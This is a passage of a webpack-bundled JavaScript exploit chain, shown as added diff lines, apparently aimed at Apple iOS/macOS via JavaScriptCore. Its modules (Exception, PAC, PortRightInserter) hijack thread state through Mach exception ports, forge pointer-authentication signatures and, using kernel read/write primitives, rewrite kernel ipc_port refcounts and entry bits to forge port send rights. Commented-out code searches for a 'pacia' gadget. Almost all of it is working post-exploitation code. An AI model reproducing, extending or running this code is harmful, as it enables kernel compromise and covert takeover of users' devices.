_ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js"); +/* harmony import */ var _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./ExceptionReplyStruct */ "./src/libs/TaskRop/ExceptionReplyStruct.js"); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); + + +const TAG = "EXCEPTION"; + +const MPO_INSERT_SEND_RIGHT = 0x10; +const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000; +const MACH_SEND_MSG = 0x00000001n; +const MACH_RCV_MSG = 0x00000002n; +const MACH_SEND_TIMEOUT = 0x00000010n; +const MACH_RCV_TIMEOUT = 0x00000100n; +const MACH_MSG_TYPE_MOVE_SEND_ONCE = 18; + +class Exception +{ + static ExceptionMessageSize = 0x160n; + static ExceptionReplySize = 0x13cn; + + static createPort() + { + let options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + const buffer = new ArrayBuffer(8); + const view = new DataView(buffer); + view.setUint32(0, MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT, true); + view.setUint32(4, 0, true); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer); + let exceptionPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n; + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct",0x203, options, 0n, exceptionPortPtr); + if (kr != 0) + { + console.log(TAG,`Error creating exception port:${kr}`); + return 0; + } + let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(exceptionPortPtr); + return BigInt(port); + } + + static waitException(exceptionPort, excBuffer, timeout, debug) + { + let t1 = new Date().getTime(); + if (debug) + console.log(TAG,`Waiting exception...`); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + excBuffer, + MACH_RCV_MSG | MACH_RCV_TIMEOUT, + 0, this.ExceptionMessageSize, + exceptionPort, + timeout, + 0); + if (ret != 0) + { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); + //console.log(TAG,`Error receiving exception message:${errString}`); + return false; + } + if (debug) + { + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(excBuffer,Number(this.ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__["default"](excRes); + let elapsed = new Date().getTime() - t1; + //console.log(TAG,`Got exception succesfully after ${elapsed} ms with [id:${exc.Head.msgh_id}, exc=${exc.exception}, code=${Utils.hex(exc.codeFirst)}]`); + //console.log(TAG,`PC:${Utils.hex(exc.threadState.opaque_pc)}`); + //console.log(TAG,`LR:${Utils.hex(exc.threadState.opaque_lr)}`); + //console.log(TAG,`SP:${Utils.hex(exc.threadState.opaque_sp)}`); + //console.log(TAG,`FP:${Utils.hex(exc.threadState.opaque_fp)}`); + //for(let i = 0; i < 29; i++) + // console.log(TAG,`x[${i}]:${Utils.hex(exc.threadState.registers.get(i))}`); + } + return true; + } + + static replyWithState(exc,state,debug) + { + let replyBuf = new ArrayBuffer(Number(this.ExceptionReplySize)); + let reply = new _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__["default"](replyBuf); + let sendSize = Number(this.ExceptionReplySize); + let recvSize = 0n; + if(debug) + { + console.log(TAG,`Reply with state:`); + console.log(TAG,`PC:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_pc)}`); + console.log(TAG,`LR:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_lr)}`); + console.log(TAG,`SP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_sp)}`); + console.log(TAG,`FP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_fp)}`); + } + + reply.Head.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MOVE_SEND_ONCE, 0); + reply.Head.msgh_size = sendSize; + reply.Head.msgh_remote_port = exc.Head.msgh_remote_port; + reply.Head.msgh_local_port = 0; + reply.Head.msgh_id = exc.Head.msgh_id + 100; + reply.NDR = exc.NDR; + reply.RetCode = 0; + reply.flavor = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64; + reply.new_stateCnt = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT; + //TODO make it inside ThreadState to copy thread state to another variable + for(let i = 0; i < 29; i++) + { + reply.threadState.registers.set(i,state.registers.get(i)); + } + reply.threadState.opaque_fp = state.opaque_fp; + reply.threadState.opaque_lr = state.opaque_lr; + reply.threadState.opaque_sp = state.opaque_sp; + reply.threadState.opaque_pc = state.opaque_pc; + reply.threadState.cspr = state.cspr; + reply.threadState.opaque_flags = state.opaque_flags; + let replyMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(replyMem,replyBuf); + if(debug) + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].printArrayBufferInChunks(replyBuf); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + replyMem, + MACH_SEND_MSG, + sendSize, recvSize, + 0n, + 0n, + 0n); + + if (ret != 0) + console.log(TAG,`Error replying exception:${libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret)}`); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/ExceptionMessageStruct.js": +/*!****************************************************!*\ + !*** ./src/libs/TaskRop/ExceptionMessageStruct.js ***! + \****************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ ExceptionMessageStruct) +/* harmony export */ }); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); + + +class ExceptionMessageStruct +{ + #buffer; + #dataView; + + constructor(buffer) { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer); + this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,64); + } + + get NDR() { return this.#dataView.getBigUint64(24,true); } + set NDR(value) { this.#dataView.setBigUint64(24,value,true); } + + get exception() { return this.#dataView.getUint32(32,true); } + set exception(value) { this.#dataView.setUint32(32,value,true); } + + get codeCnt() { return this.#dataView.getUint32(36,true); } + set codeCnt(value) { this.#dataView.setUint32(36,value,true); } + + get codeFirst() { return this.#dataView.getBigUint64(40,true); } + set codeFirst(value) { this.#dataView.setBigUint64(40,value,true); } + + get codeSecond() { return this.#dataView.getBigUint64(48,true); } + set codeSecond(value) { this.#dataView.setBigUint64(48,value,true); } + + get flavor() { return this.#dataView.getUint32(56,true); } + set flavor(value) { this.#dataView.setUint32(56,value,true); } + + get old_stateCnt() { return this.#dataView.getUint32(60,true); } + set old_stateCnt(value) { this.#dataView.setUint32(60,value,true); } + + get paddingFirst() { return this.#dataView.getBigUint64(336,true); } + set paddingFirst(value) { this.#dataView.setBigUint64(336,value,true); } + + get paddingSecond() { return this.#dataView.getBigUint64(344,true); } + set paddingSecond(value) { this.#dataView.setBigUint64(344,value,true); } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/ExceptionReplyStruct.js": +/*!**************************************************!*\ + !*** ./src/libs/TaskRop/ExceptionReplyStruct.js ***! + \**************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ ExceptionReplyStruct) +/* harmony export */ }); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); + + +class ExceptionReplyStruct +{ + #buffer; + #dataView; + + constructor(buffer) { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer); + this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,44); + } + + get NDR() { return this.#dataView.getBigUint64(24,true); } + set NDR(value) { this.#dataView.setBigUint64(24,value,true); } + + get RetCode() { return this.#dataView.getUint32(32,true); } + set RetCode(value) { this.#dataView.setUint32(32,value,true); } + + get flavor() { return this.#dataView.getUint32(36,true); } + set flavor(value) { this.#dataView.setUint32(36,value,true); } + + get new_stateCnt() { return this.#dataView.getUint32(40,true); } + set new_stateCnt(value) { this.#dataView.setUint32(40,value,true); } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/MachMsgHeaderStruct.js": +/*!*************************************************!*\ + !*** ./src/libs/TaskRop/MachMsgHeaderStruct.js ***! + \*************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ MachMsgHeaderStruct) +/* harmony export */ }); +class MachMsgHeaderStruct +{ + #dataView; + + constructor(buffer, offset = 0) { + this.#dataView = new DataView(buffer,offset); + } + + get msgh_bits() { return this.#dataView.getUint32(0,true); } + set msgh_bits(value) { this.#dataView.setUint32(0,value,true); } + + get msgh_size() { return this.#dataView.getUint32(4,true); } + set msgh_size(value) { this.#dataView.setUint32(4,value,true); } + + get msgh_remote_port() { return this.#dataView.getUint32(8,true); } + set msgh_remote_port(value) { this.#dataView.setUint32(8,value,true); } + + get msgh_local_port() { return this.#dataView.getUint32(12,true); } + set msgh_local_port(value) { this.#dataView.setUint32(12,value,true); } + + get msgh_voucher_port() { return this.#dataView.getUint32(16,true); } + set msgh_voucher_port(value) { this.#dataView.setUint32(16,value,true); } + + get msgh_id() { return this.#dataView.getUint32(20,true); } + set msgh_id(value) { this.#dataView.setUint32(20,value,true); } + + static MACH_MSGH_BITS(remote, local) + { + return ((remote) | ((local) << 8)); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/PAC.js": +/*!*********************************!*\ + !*** ./src/libs/TaskRop/PAC.js ***! + \*********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ PAC) +/* harmony export */ }); +//import Chain from "libs/Chain/Chain"; +//import Native from "libs/JSUtils/Native"; +//import Utils from "libs/JSUtils/Utils"; +//import Exception from "./Exception"; +//import Task from "./Task"; +//import Thread from "./Thread"; +//import ThreadState from "./ThreadState"; +//import ExceptionMessageStruct from "./ExceptionMessageStruct"; +//import Offsets from "Driver/Offsets"; + +const TAG = "PAC"; + +class PAC +{ + static gadget_pacia; + + static { + //this.#findGadgets(); + } + static remotePACLocal(address, modifier) + { + address = address & 0x7fffffffffn; + //console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`); + let signedAddress = pacia(address, BigInt(modifier)); + //console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`); + return signedAddress; + } + static remotePAC(threadAddr, address, modifier) + { + return Native.pacia(address, modifier); + + //return this.remotePACLocal(address, modifier); + /* + if (!this.gadget_pacia) + { + console.log(TAG,`Doesn't have gadget_pacia, aborting`); + return 0; + } + address = address & 0x7fffffffffn; + + let signedAddress = 0n; + + // Get PAC keys of remote thread + let keyA = Thread.getRopPid(threadAddr); + let keyB = Thread.getJopPid(threadAddr); + + //console.log(TAG,`Key A:${Utils.hex(keyA)}`); + //console.log(TAG,`Key B:${Utils.hex(keyB)}`); + + let kr = 0; + let pacThread = Native.mem; + Native.callSymbol("thread_create", 0x203, pacThread); + let buffRes = Native.read(pacThread, Utils.UINT32_SIZE); + let viewRes = new DataView(buffRes); + pacThread = viewRes.getUint32(0,true); + //console.log(TAG,`pacThread:${Utils.hex(pacThread)}`); + let stack = Native.callSymbol("malloc",0x4000n); + let sp = stack + 0x2000n; + let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE); + let state = new ThreadState(stateBuff); + state.opaque_sp = sp; + //arm_thread_state64_set_pc_fptr(state, (void*)gadget_pacia); + let outputBuffer = Native.mem; + //console.log(TAG,`Before pacia`); + if(pacia) + state.opaque_pc = pacia(this.gadget_pacia,Utils.ptrauth_string_discriminator("pc")); + else + state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia); + const buildVer = Offsets.getBuildVersion(); + if(buildVer && buildVer.startsWith("22")) + { + //console.log(TAG, "Applying 18 fix"); + //state.opaque_lr = 0x401n; + state.opaque_lr = pacia(0x401n,Utils.ptrauth_string_discriminator("lr")); + } + //console.log(TAG,`After pacia with pc:${state.opaque_pc}`); + //state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia); + state.registers.set(0,outputBuffer); + state.registers.set(1,BigInt(address)); + state.registers.set(2,BigInt(modifier)); + state.registers.set(3,BigInt(pacThread)); + state.registers.set(16,BigInt(address)); + state.registers.set(17,BigInt(modifier)); + + let exceptionPort = Exception.createPort(); + if (!exceptionPort) + { + console.log(TAG,`Cannot create exception port`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + + //console.log(TAG,`Exception port:${Utils.hex(exceptionPort)}`); + + kr = Native.callSymbol("thread_set_exception_ports", + pacThread, + Utils.EXC_MASK_BAD_ACCESS, + exceptionPort, + Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES, + BigInt(Utils.ARM_THREAD_STATE64)); + + if (kr != 0) + { + console.log(`thread_set_exception_ports failed:${kr}`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + let pacThreadAddr = Task.getPortKObject(BigInt(pacThread)); + //console.log(TAG,`PAC thread address:${Utils.hex(pacThreadAddr)}`); + if (!this.#setThreadState(pacThread, pacThreadAddr, stateBuff)) + { + console.log(TAG,`Failed to set thread state`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + // Change pacThread PAC keys with those of remote thread + Thread.setPACKeys(pacThreadAddr, keyA, keyB); + //console.log(TAG,`Starting PAC thread...`); + Native.callSymbol("thread_resume",pacThread); + let excBuffer = Native.mem; + if (!Exception.waitException(exceptionPort, excBuffer, 100, false)) + { + console.log(TAG,`Failed to receive exception from PAC thread`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + let excRes = Native.read(excBuffer,Number(Exception.ExceptionMessageSize)); + let exc = new ExceptionMessageStruct(excRes); + signedAddress = exc.threadState.registers.get(16); + //console.log(TAG,`Signed address: ${Utils.hex(address)} -> signedAddress:${Utils.hex(signedAddress)}`); + this.#cleanup(pacThread, exceptionPort, stack); + return signedAddress; + */ + } + + /* + static #findGadgets() + { + let sym = Native.dlsym("_ZNK3JSC13JSArrayBuffer8isSharedEv"); + if (!sym) + { + console.log(TAG,`Symbol not found`); + return false; + } + + let symStripped = sym & ~0xffffff8000000000n; + let gadgetOpcodesBuff = new ArrayBuffer(20); + let gadgetOpcodesView = new DataView(gadgetOpcodesBuff); + gadgetOpcodesView.setUint32(0,0xDAC10230,true); + gadgetOpcodesView.setUint32(4,0x9A9003E8,true); + gadgetOpcodesView.setUint32(8,0xF100011F,true); + gadgetOpcodesView.setUint32(12,0x1A9F07E0,true); + gadgetOpcodesView.setUint32(16,0xD65F03C0,true); + let data = Native.read(symStripped,0x1000); + let gadgetOffset = Utils.memmem(data,gadgetOpcodesBuff); + if (!gadgetOffset) + { + console.log(TAG,`pacia_gadget offset not found`); + return false; + } + this.gadget_pacia = symStripped + BigInt(gadgetOffset); + + console.log(TAG,`Gadgets found: pacia=${Utils.hex(this.gadget_pacia)}`); + + return true; + } + + static #setThreadState(thread,threadAddr,stateBuff) + { + let options = Thread.getOptions(threadAddr); + options |= 0x8000; + Thread.setOptions(threadAddr, options); + let stateMem = Native.mem; + Native.write(stateMem,stateBuff); + //console.log(TAG,`thread:${Utils.hex(thread)}`); + let kr = Native.callSymbol("thread_set_state", + thread, + BigInt(Utils.ARM_THREAD_STATE64), + stateMem, + BigInt(Utils.ARM_THREAD_STATE64_COUNT)); + if (kr != 0) + { + console.log(TAG,`Failed thread_set_state with error:${kr}`); + return false; + } + + options &= ~0x8000; + Thread.setOptions(threadAddr, options); + return true; + } + + static #cleanup(pacThread,exceptionPort,stack) + { + Native.callSymbol("thread_terminate",pacThread); + Native.callSymbol("mach_port_destruct",0x203, exceptionPort, 0n, 0n); + Native.callSymbol("free",stack); + } + */ +} + +/***/ }), + +/***/ "./src/libs/TaskRop/PortRightInserter.js": +/*!***********************************************!*\ + !*** ./src/libs/TaskRop/PortRightInserter.js ***! + \***********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ PortRightInserter) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); + + +const TAG = "PORTRIGHTINSERTER"; + +const TASK_SELF = 0x203; +const MACH_PORT_NULL = 0; +const MACH_PORT_TYPE_SEND = 0x10000; +const MACH_PORT_TYPE_DEAD_NAME = 0x100000; + +const MACH_SEND_MSG = 0x00000001n; +const MACH_RCV_MSG = 0x00000002n; +const MACH_SEND_TIMEOUT = 0x00000010n; +const MACH_RCV_TIMEOUT = 0x00000100n; + +const MACH_MSG_TYPE_COPY_SEND = 19; +const MACH_MSG_TYPE_MAKE_SEND = 20; +const MACH_MSG_TYPE_MAKE_SEND_ONCE = 21; + +const MACH_MSGH_BITS_COMPLEX = 0x80000000; +const MACH_MSG_PORT_DESCRIPTOR = 0; + +const MPO_INSERT_SEND_RIGHT = 0x10; +const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000; + +const IO_BITS_KOLABEL = 0x00000400; +const IE_BITS_TYPE_MASK = 0x001f0000; + +class PortRightInserter { + + static insert(portKaddr) { + const p = this.#newPort(); + //console.log(TAG, "New port: " + Utils.hex(p)); + const pAddr = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortAddr(BigInt(p)); + //console.log(TAG, "New port addr: " + Utils.hex(pAddr)); + if (!pAddr) + return 0; + + //this.#dumpPort(portKaddr); + //this.#dumpPort(pAddr); + + const backupBits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(portKaddr); + //console.log(TAG, "Port io bits: " + Utils.hex(backupBits)); + const needsFixBits = (backupBits & IO_BITS_KOLABEL); + + if (needsFixBits) { + const newBits = backupBits & ~IO_BITS_KOLABEL; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(portKaddr, newBits); + } + + this.#fixRefCounts(portKaddr, 1); + + //console.log(TAG, "Fix Ok"); + //this.#dumpPort(portKaddr); + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(pAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipNsRequest, portKaddr); + //this.#dumpPort(pAddr); + + let previous = this.#notifyNoSenders(p, MACH_PORT_NULL); + //console.log(TAG, "Previous right: " + Utils.hex(previous)); + + // Change the port rights from send once to send. + this.#switchToSendRight(previous); + + //this.#fixRefCounts(portKaddr, -1, false); + + // We have a send right to the port, but it's not in our space's hash. + // We send the port, then kill the entry. We'll properly receive it afterwards. + let msgBuff = new ArrayBuffer(40); + let msgHeader = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"](msgBuff); + msgHeader.msgh_id = 0x4141; + msgHeader.msgh_remote_port = p; + msgHeader.msgh_local_port = p; + msgHeader.msgh_size = msgBuff.byteLength; + msgHeader.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND); + msgHeader.msgh_bits |= MACH_MSGH_BITS_COMPLEX; // we send a port descriptor + + let msgBody = new DataView(msgBuff, 24); + msgBody.setInt32(0, 1, true); // msgh_descriptor_count + msgBody.setUint32(4, previous, true); // name + msgBody.setUint8(14, MACH_MSG_TYPE_COPY_SEND); // disposition + msgBody.setUint8(15, MACH_MSG_PORT_DESCRIPTOR); // type + + //let wMsg64 = new BigUint64Array(msgBuff); + //for (let i=0; i<5; i++) + // console.log(TAG, `${i}: ${Utils.hex(wMsg64[i]).padStart(16, '0')}`); + + let msgMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(msgMem, msgBuff); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + msgMem, + MACH_SEND_MSG, + msgBuff.byteLength, 0, + p, + 0, + 0); + //console.log(TAG, "mach_msg: " + ret); + //Native.callSymbol("sleep", 1); + if (ret != 0) { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); + console.log(TAG, `Error sending message: ${errString}`); + return 0; + } + + //console.log(TAG, "mach_msg send: " + ret); + + this.#killRight(previous); + + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + msgMem, + MACH_RCV_MSG | MACH_RCV_TIMEOUT, + 0, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].memSize, + p, + 1000, + 0); + if (ret != 0) + { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); + console.log(TAG, `Error receiving message: ${errString}`); + return 0; + } + + //console.log(TAG, "mach_msg recv: " + ret); + //Native.callSymbol("sleep", 1); + + let rMsg = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(msgMem, 40); + + //let rMsg64 = new BigUint64Array(rMsg); + //for (let i=0; i<5; i++) + // console.log(TAG, `${i}: ${Utils.hex(rMsg64[i]).padStart(16, '0')}`); + + msgBody = new DataView(rMsg, 24); + previous = msgBody.getUint32(4, true); + //console.log(TAG, "previous: " + Utils.hex(previous)); + + this.#fixRefCounts(portKaddr, -1); + + //this.#dumpPort(portKaddr); + + return previous; + } + + static #newPort() { + const options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + const buffer = new ArrayBuffer(8); + const view = new DataView(buffer); + view.setUint32(0, MPO_INSERT_SEND_RIGHT, true); + view.setUint32(4, 0, true); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer); + const newPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n; + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct", TASK_SELF, options, 0n, newPortPtr); + if (kr != 0) { + console.log(TAG, `Error creating port: ${kr}`); + return MACH_PORT_NULL; + } + return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(newPortPtr); + } + + static #switchToSendRight(port) { + const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port)); + //console.log(TAG, "entry: " + Utils.hex(entry)); + //this.#dumpEntry(entry); + let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n); + //console.log(TAG, "entry bits: " + Utils.hex(bits)); + bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_SEND; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits); + //this.#dumpEntry(entry); + } + + static #killRight(port) { + const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port)); + //console.log(TAG, "entry: " + Utils.hex(entry)); + //this.#dumpEntry(entry); + let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n); + //console.log(TAG, "entry bits: " + Utils.hex(bits)); + bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_DEAD_NAME; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(entry, 0n); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits); + //this.#dumpEntry(entry); + } + + static #fixRefCounts(portAddr, diff, updateRefs=true, updateSonce=true) { + // Due to krw limitation, we cannot write at offset +132 of a 144 bytes struct, + // since krw would write in chunks of 32 bytes and so would cause a memory overflow (panic). + // So we read all the 144 bytes struct, changes values and then write it again as a whole. + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); + let ipcPort = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); + let ipcPortView = new DataView(ipcPort); + + let refs = ipcPortView.getUint32(0x4, true); + let sonce = ipcPortView.getUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), true); + + //console.log(TAG, "refs: " + refs); + //console.log(TAG, "sonce: " + sonce); + + refs += diff; + sonce += diff; + + if (updateRefs) { + //console.log(TAG, "new refs: " + refs); + ipcPortView.setUint32(0x4, refs, true); + } + if (updateSonce) { + //console.log(TAG, "new sonce: " + sonce); + ipcPortView.setUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), sonce, true); + } + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, ipcPort); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].writeZoneElement(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); + } + + static #notifyNoSenders(port, notifyPort) { + const MACH_NOTIFY_NO_SENDERS = 0o106; + + const previousPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + const kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_request_notification", + TASK_SELF, + port, + MACH_NOTIFY_NO_SENDERS, + 0, + notifyPort, + MACH_MSG_TYPE_MAKE_SEND_ONCE, + previousPtr); + //console.log(TAG, "mach_port_request_notification: " + kr); + if (kr != 0) + return MACH_PORT_NULL; + return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(previousPtr); + } + + static #dumpPort(pAddr) { + console.log(TAG, "dump port: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(pAddr)); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(pAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90); + let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90); + let buff64 = new BigUint64Array(buff); + for (let i=0; i<0x12; i++) + console.log(TAG, `${i}: 